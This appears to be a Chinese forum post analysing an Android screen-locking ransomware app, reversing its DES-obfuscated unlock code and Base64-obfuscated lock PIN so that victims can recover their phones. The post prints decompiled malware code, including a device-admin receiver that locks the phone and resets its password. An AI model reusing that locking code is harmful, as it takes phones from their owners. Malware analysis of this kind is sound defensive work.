-
UID:17777
-
- 注册时间2007-05-02
- 最后登录2025-05-04
- 在线时间18637小时
-
- 发帖786360
- 搜Ta的帖子
- 精华0
- 飞翔币211578
- 威望215717
- 飞扬币2615651
- 信誉值8
-
访问TA的空间加好友用道具
- 发帖
- 786360
- 飞翔币
- 211578
- 威望
- 215717
- 飞扬币
- 2615651
- 信誉值
- 8
|
0x01 打开恶意软件打开该应用的时候提示激活设备管理器,一般的小白用户很容易会点击激活按钮 当点击激活之后,手机进入锁屏状态: 破解思路:找出解锁码的计算方式。0x02 初步分析拉入JEB2进行分析。找到解锁按钮的点击事件: 代码的逻辑是从SharedPreference中获得“passw”的值,然后通过decrypt方法来解密出解锁码,跟用户输入的解锁码进行比对,正确则移除锁屏。用adb命令把该app的shared_prefs文件夹拉到本地adb pull /data/data/com.xcszsj/shared_prefs 得到passw的值为:ed3a2881de33133d700ecb6bb7b627a9。0x03 分析decrypt函数decrypt函数是在DU类中实现的:package com.xcszsj;import java.security.Key;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class DU { private Cipher decryptCipher; private Cipher encryptCipher; private static String strDefaultKey; static final { DU.strDefaultKey = "national"; } public DU(String str_flower) { DU v0 = this; super(); v0.encryptCipher = null; v0.decryptCipher = null; DU v6 = v0; String v7 = str_flower; try { Key securekey = v6.getKey(v7.getBytes()); // securekey v0.encryptCipher = Cipher.getInstance("DES"); v0.encryptCipher.init(1, securekey); v0.decryptCipher = Cipher.getInstance("DES"); v0.decryptCipher.init(2, securekey); } catch(Exception v6_1) { v6_1.printStackTrace(); } } public DU() throws Exception { this(DU.strDefaultKey); } public static String byteArr2HexStr(byte[] arg12) throws Exception { byte[] v0 = arg12; int v2 = v0.length; StringBuffer v3 = new StringBuffer(v2 * 2); int v4; for(v4 = 0; v4 < v2; ++v4) { int v5; for(v5 = v0[v4]; v5 < 0; v5 += 256) { } if(v5 < 16) { v3.append('0'); } v3.append(Integer.toString(v5, 16)); } return v3.toString(); } public String decrypt(String arg9) throws Exception { return new String(this.decrypt(DU.hexStr2ByteArr(arg9))); } public byte[] decrypt(byte[] arg6) throws Exception { return this.decryptCipher.doFinal(arg6); } public String encrypt(String arg6) throws Exception { return DU.byteArr2HexStr(this.encrypt(arg6.getBytes())); } public byte[] encrypt(byte[] arg6) throws Exception { return this.encryptCipher.doFinal(arg6); } private Key getKey(byte[] arg12) throws Exception { byte[] v1 = arg12; // flower.getbytes byte[] v3 = new byte[8]; int v4; for(v4 = 0; v4 < v1.length; ++v4) { if(v4 >= v3.length) { break; } v3[v4] = v1[v4]; } return new SecretKeySpec(v3, "DES"); } public static byte[] hexStr2ByteArr(String arg14) throws Exception { byte[] v2 = arg14.getBytes(); int v3 = v2.length; byte[] v4 = new byte[v3 / 2]; int v5; for(v5 = 0; v5 < v3; v5 += 2) { v4[v5 / 2] = ((byte)Integer.parseInt(new String(v2, v5, 2), 16)); } return v4; }}可以知道,这里使用了DES加密,所以接下来的关键就是找到加密的密钥。0x04 解密回到调用函数的对象v0.this$0.des.decryptthis$0代表的是父对象,也就是s类: 分析des的生成: 作者故意多做了几个步骤来增加逆向的困难。下面看看DU的构造方法: public DU(String str_flower) { DU v0 = this; super(); v0.encryptCipher = null; v0.decryptCipher = null; DU v6 = v0; String v7 = str_flower; try { Key securekey = v6.getKey(v7.getBytes()); // securekey v0.encryptCipher = Cipher.getInstance("DES"); v0.encryptCipher.init(1, securekey); v0.decryptCipher = Cipher.getInstance("DES"); v0.decryptCipher.init(2, securekey); } catch(Exception v6_1) { v6_1.printStackTrace(); } }在分析之前我特意百度了一下DES加密在Java中的实现。v0.encryptCipher.init(1, securekey);init方法第一个参数1代表加密,2代表解密;第二个参数是密钥。后面可以通过调用encryptCipher的doFinal方法进行加密,调用decryptCipher的doFinal方法进行解密。DU类的构造方法传入的是一个字符串,然后通过getKey方法获得密钥。这里作者先是传入“flower”,通过getKey方法得到密钥:666c6f7765720000,然后用这个密钥解密c29fe56fa59ab0db,解密得到"xxx",作者再将这个解密出来的字符串再次作为DU的构造参数传入得到新的DU对象。同样的我们通过getKey方法得到新的密钥7878780000000000。现在我们可以解密0x02中得到的加密解锁码(ed3a2881de33133d700ecb6bb7b627a9)了。解密得到:50003279,是本机ID5003280减一。0x05 设备锁屏密码被修改了找到MyAdmin类,这是处理设备管理器发送出来的消息的。public class MyAdmin extends DeviceAdminReceiver { public MyAdmin() { super(); } @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) { String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("n", "")); this.getManager(arg13).lockNow(); this.getManager(arg13).resetPassword(v7, 0); return super.onDisableRequested(arg13, arg14); } @Override public void onEnabled(Context arg20, Intent arg21) { Class v14; MyAdmin v0 = this; Context v1 = arg20; Intent v2 = arg21; String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("n", "")); Intent v11 = null; Intent v12 = null; Context v13 = v1; try { v14 = Class.forName("com.xcszsj.s"); } catch(ClassNotFoundException v11_1) { throw new NoClassDefFoundError(v11_1.getMessage()); } super(v13, v14); v11.setFlags(268435456); v1.startService(v11); v0.getManager(v1).resetPassword(v7, 0); super.onEnabled(v1, v2); } @Override public void onPasswordChanged(Context arg13, Intent arg14) { String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("n", "")); // ==wMzEDM this.getManager(arg13).lockNow(); this.getManager(arg13).resetPassword(v7, 0); super.onPasswordChanged(arg13, arg14); } @Override public void onReceive(Context arg8, Intent arg9) { Log.i("------", "onReceive-----"); super.onReceive(arg8, arg9); }}关键代码:String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("n", ""));v0.getManager(v1).resetPassword(v7, 0);v7就是新的锁屏密码。搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001” 发现它是代表apk里的这个文件: 将BAH.getString导出来,执行一遍发现它只是把字符串“Cj09d016RURN“返回而已。接下来分析M.getsss方法: public static final String getsss(String arg21) { String v2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0)); CharSequence v3 = v2.subSequence(3, 4); CharSequence v4 = v2.subSequence(4, 5); //这里以上的代码可以导出执行,然后打印出v3和v4的值 return new String(new String(Base64.decode(new StringBuffer().append(new StringBuffer(new String(Base64.decode(arg21.replaceAll(v3, "三生石畔").replaceAll(v4, "彼岸花开").replaceAll("三生石畔", v4).replaceAll("彼岸花开", v3).toString(), 0))).reverse()).append("").toString().toString(), 0))); }这里作者故意混淆了一下,通过代码分析和运行测试,可以知道v3 = 6;v4 = 5;然后把“Cj09d016RURN”中的6换成5,然后第一次解码: 得到==wMyEDM,然后逆序为MDEyMw==,第二次解码: 得到锁屏密码0123总结:该恶意APP通过随机数生成本机ID,然后用这个ID减一的值作为解锁码,并且在代码中通过各种加密解密来增加逆向的难度;而锁屏密码是通过Base64加密和其他方式混淆之后存放在文件中,每台机子都是一样的,解锁pin码为0123。
|